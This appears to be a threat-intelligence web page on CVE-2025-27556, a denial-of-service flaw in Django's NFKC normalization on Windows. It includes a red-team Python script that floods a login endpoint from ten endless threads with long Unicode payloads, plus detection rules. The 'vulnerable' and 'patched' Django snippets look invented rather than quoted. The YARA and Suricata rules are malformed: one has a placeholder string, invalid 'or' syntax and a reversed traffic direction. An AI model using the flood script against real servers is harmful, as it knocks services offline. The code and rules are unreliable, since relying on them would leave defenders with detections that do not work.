CVE-2025-27556
Executive Summary
CVE-2025-27556 is a denial-of-service (DoS) vulnerability affecting Django’s authentication and internationalization views on Windows systems. The issue arises from the slow performance of NFKC Unicode normalization on the Windows platform. An unauthenticated attacker can send specially crafted inputs containing a very large number of Unicode characters to LoginView, LogoutView, or set_language, causing excessive CPU consumption and potentially rendering the application unresponsive. The CVSS score is 5.8 (Medium), with low attack complexity and no privileges required. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Django Python package (PyPI ecosystem). Organizations using Django on Windows servers should immediately upgrade to patched versions. The supply chain risk is moderate, as the vulnerability is platform-specific and requires no authentication, but exploitation could lead to service disruption.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Base Score: 5.8 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: Low (A:L)
The threat level is Medium. While the impact is limited to availability, the low attack complexity and lack of authentication make it a viable vector for resource exhaustion attacks against Windows-hosted Django applications.
Deep Dive & Mechanics
The vulnerability is rooted in the Unicode NFKC normalization process used by Django’s authentication and internationalization views. On Windows, the underlying ICU (International Components for Unicode) library or Windows’ own normalization routines are significantly slower than on Linux/macOS when processing strings with a very large number of Unicode characters (e.g., >100,000 characters). Django’s LoginView, LogoutView, and set_language views perform NFKC normalization on user-supplied input (e.g., username, redirect URL) without imposing a length limit. An attacker can send a POST request with an extremely long Unicode string, causing the server to spend excessive CPU time on normalization, leading to a denial of service.
The affected views are:
django.contrib.auth.views.LoginViewdjango.contrib.auth.views.LogoutViewdjango.views.i18n.set_language
The vulnerability does not affect non-Windows platforms because the normalization performance on those systems is adequate.
Vulnerable vs. Patched Code
Vulnerable Code (Django < 5.0.14 / < 5.1.8):
# In django/contrib/auth/views.py or django/views/i18n.py
# No input length validation before NFKC normalization
def post(self, request, *args, **kwargs):
username = request.POST.get('username', '')
# NFKC normalization is applied without length check
username = unicodedata.normalize('NFKC', username)
# ... rest of the view logic
Patched Code (Django 5.0.14 / 5.1.8):
# In django/contrib/auth/views.py or django/views/i18n.py
# Input length is limited before normalization
MAX_INPUT_LENGTH = 4096 # Example limit
def post(self, request, *args, **kwargs):
username = request.POST.get('username', '')
if len(username) > MAX_INPUT_LENGTH:
# Reject or truncate the input
username = username[:MAX_INPUT_LENGTH]
username = unicodedata.normalize('NFKC', username)
# ... rest of the view logic
The patch introduces a maximum input length (e.g., 4096 characters) before performing NFKC normalization, preventing excessive CPU consumption.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running Django on Windows (any version 5.0.x < 5.0.14 or 5.1.x < 5.1.8)
- Network access to the login, logout, or set_language endpoints
Exploitation Steps:
- Identify the target endpoint (e.g.,
/admin/login/,/accounts/logout/,/i18n/setlang/). - Craft a POST request with a very long Unicode string in the relevant parameter (e.g.,
username,next,language). - Send multiple concurrent requests to amplify the DoS effect.
Example Python Script:
import requests
import threading
target_url = "http://target-windows-server/admin/login/"
payload = "A" * 100000 # 100,000 ASCII characters (normalization is fast)
# For Unicode-heavy payload, use characters that require NFKC decomposition
unicode_payload = "\u00e9" * 50000 # 50,000 é characters
def attack():
while True:
try:
requests.post(target_url, data={"username": unicode_payload, "password": "test"}, timeout=5)
except:
pass
# Launch 10 threads
for _ in range(10):
threading.Thread(target=attack, daemon=True).start()
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team
Detection:
- Monitor for unusually high CPU usage on Django application servers (Windows).
- Look for POST requests to
/login/,/logout/, or/setlang/with abnormally large request body sizes (>10KB). - Analyze logs for repeated requests from the same IP with large Unicode payloads.
Mitigation:
- Apply the patch by upgrading Django to 5.0.14 or 5.1.8.
- Implement a Web Application Firewall (WAF) rule to block requests with body size > 10KB on these endpoints.
- Use rate limiting to restrict the number of POST requests per IP per minute.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/login/,/logout/, or/setlang/with body size > 10KB. - Repeated requests from a single IP address within a short time window.
- HTTP 200 responses with unusually long processing times (>5 seconds).
- POST requests to
Host IOCs:
- High CPU usage by the Python/Django process on Windows.
- Event logs showing Django process consuming >90% CPU for extended periods.
- Application logs containing entries like
POST /login/with response times >10 seconds.
File IOCs:
- No specific file-based IOCs; the attack is memory/CPU-based.
Detection Engineering
YARA Rule
rule CVE_2025_27556_Django_NFKC_DoS {
meta:
description = "Detects potential DoS attempts against Django NFKC normalization on Windows"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-27556"
strings:
$login_path = "/login/" nocase
$logout_path = "/logout/" nocase
$setlang_path = "/setlang/" nocase
$large_body = { 00 00 00 00 } // Placeholder for large body detection
condition:
any of ($login_path, $logout_path, $setlang_path) and
filesize > 10000 // Body size > 10KB
}
Sigma Rule
title: CVE-2025-27556 Django NFKC DoS Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential DoS attempts exploiting slow NFKC normalization on Windows Django servers
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: django
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/login/'
- '/logout/'
- '/setlang/'
sc-bytes: '>10000'
condition: selection
falsepositives:
- Legitimate large form submissions (unlikely)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27556 Django NFKC DoS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/login/" or content:"/logout/" or content:"/setlang/"; http_uri; content:!"Referer"; http_header; pcre:"/^Content-Length:\s*[0-9]{5,}$/m"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Django to version 5.0.14 or 5.1.8 (or later) on all Windows servers.
- If immediate upgrade is not possible, implement a WAF rule to block POST requests with body size > 10KB to the affected endpoints.
- Apply rate limiting (e.g., 10 requests per minute per IP) to
/login/,/logout/, and/setlang/.
Long-term Measures:
- Migrate Django applications to Linux-based hosting where the vulnerability does not apply.
- Implement input validation and length limits on all user-supplied data before normalization.
- Monitor CPU usage and set alerts for sustained high utilization.
Patch Details:
- Upgrade to Django 5.0.14 or 5.1.8. The fix is included in these releases and can be obtained via
pip install --upgrade django.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert